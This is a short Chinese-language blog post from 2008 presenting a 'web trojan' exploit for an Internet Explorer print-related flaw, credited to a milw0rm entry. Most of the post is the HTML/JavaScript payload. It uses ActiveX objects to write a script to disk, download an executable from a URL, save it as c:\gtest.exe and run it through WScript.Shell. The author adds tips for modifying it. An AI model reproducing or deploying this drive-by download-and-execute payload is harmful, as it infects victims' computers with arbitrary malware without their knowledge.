|
这个漏洞参考http://www.milw0rm.com/exploits/5619
Author: Greysign
2008-5-24
http://www.scanw.com/blog
哈哈。标题吸引吗。
修改代码请注意不能使用双引号”,注意不能跨域,还有一些其他零碎的问题自己调试吧。
这个漏洞执行后可以远程下载任意文件并执行。
第一次写网马,只好拿鸡PP搓成鸡胸,这样垃圾的漏洞才能放出来~哈哈。
不过。这个漏洞利用的好也可以玩一玩的。
XML/HTML代码
Code:
<html> <body> Print me with table of links to execute <a href="http://www.bla.com?x=b<script defer > var ForWriting = 2; var strFile = 'c:\\test2.js'; var objFSO = new ActiveXObject('Scripting.FileSystemObject'); var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false); objStream.WriteLine('var objArgs = \'http://127.0.0.1/test.exe\';'); objStream.WriteLine('var objargss =\'c:\\\\gtest.exe\';'); objStream.WriteLine('var sGet=new ActiveXObject(\'ADODB.Stream\');'); objStream.WriteLine('var xGet = false;'); objStream.WriteLine('try {'); objStream.WriteLine('xGet = new XMLHttpRequest();'); objStream.WriteLine('} '); objStream.WriteLine('catch (trymicrosoft) {'); objStream.WriteLine('try {'); objStream.WriteLine(' xGet = new ActiveXObject(\'Msxml2.XMLHTTP\');'); objStream.WriteLine('} '); objStream.WriteLine('catch (othermicrosoft) {'); objStream.WriteLine(' try {'); objStream.WriteLine(' xGet = new ActiveXObject(\'Microsoft.XMLHTTP\');'); objStream.WriteLine(' } '); objStream.WriteLine('catch (failed) {'); objStream.WriteLine(' xGet = false;'); objStream.WriteLine(' }'); objStream.WriteLine('}'); objStream.WriteLine('}'); objStream.WriteLine('xGet.Open (\'GET\',objArgs.toLowerCase(),0);'); objStream.WriteLine('xGet.Send();'); objStream.WriteLine('sGet.Mode=3;'); objStream.WriteLine('sGet.Type=1;'); objStream.WriteLine('sGet.Open();'); objStream.WriteLine('sGet.Write (xGet.ResponseBody);'); objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);'); objStream.WriteLine('var x=new ActiveXObject(\'WScript.Shell\');'); objStream.WriteLine('x.Run(objargss);'); objStream.Close(); var objShell = new ActiveXObject('wscript.shell'); objShell.Run(strFile); </script>a.c<u>o</u>m"></a> <script>window.print();</script> </body> </html>
| |